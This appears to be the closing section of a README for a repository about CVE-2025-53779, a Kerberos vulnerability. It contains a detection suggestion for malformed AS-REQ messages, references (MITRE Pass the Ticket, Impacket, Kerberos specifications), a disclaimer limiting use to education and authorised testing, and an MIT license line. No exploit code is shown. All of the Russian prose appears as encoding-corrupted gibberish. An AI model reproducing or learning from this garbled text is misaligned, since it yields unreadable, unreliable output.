    * Π Π°Π·Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»Π° систСмы обнаруТСния Π²Ρ‚ΠΎΡ€ΠΆΠ΅Π½ΠΈΠΉ Π² ΡΠ΅Ρ‚ΡŒ (NIDS) для обнаруТСния Π½Π΅ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹Ρ… сообщСний AS-REQ



* * *

## Бсылки

  1. Microsoft Security Response Center - CVE-2025-53779
  2. ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΡ ΠΊ выпуску августовского Β«Π’Ρ‚ΠΎΡ€Π½ΠΈΠΊΠ° ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠΉΒ» Microsoft 2025
  3. Руководство ΠΏΠΎ обновлСниям бСзопасности Microsoft
  4. MITRE ATT&CK - ИспользованиС Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹Ρ… ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»ΠΎΠ² Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ: Pass the Ticket (T1550.003)
  5. Impacket - Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° Python для взаимодСйствия с Kerberos
  6. Π Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° Kerberos (RFC 4120)
  7. MS-KILE: Π Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° Kerberos
  8. MS-PAC: Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π° Π΄Π°Π½Π½Ρ‹Ρ… сСртификата Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ



* * *

## ΠžΡ‚ΠΊΠ°Π· ΠΎΡ‚ отвСтствСнности

Π­Ρ‚ΠΎΡ‚ Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΉ прСдоставлСн **Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ†Π΅Π»Π΅ΠΉ ΠΈ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ тСстирования бСзопасности**. НСсанкционированная эксплуатация CVE-2025-53779 Π² ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΈ систСм, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ Π½Π΅ Π²Π»Π°Π΄Π΅Π΅Ρ‚Π΅ ΠΈΠ»ΠΈ Π½Π° тСстированиС ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Ρƒ вас Π½Π΅Ρ‚ явного письмСнного Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ, являСтся Π½Π΅Π·Π°ΠΊΠΎΠ½Π½ΠΎΠΉ. Авторы Π½Π΅ нСсут отвСтствСнности Π·Π° любоС Π½Π΅ΠΏΡ€Π°Π²ΠΎΠΌΠ΅Ρ€Π½ΠΎΠ΅ использованиС этой ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.

* * *

## ЛицСнзия

Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ Π»ΠΈΡ†Π΅Π½Π·ΠΈΡ€ΠΎΠ²Π°Π½ Π² соотвСтствии с Π»ΠΈΡ†Π΅Π½Π·ΠΈΠ΅ΠΉ MIT β€” подробности см. Π² Ρ„Π°ΠΉΠ»Π΅ LICENSE.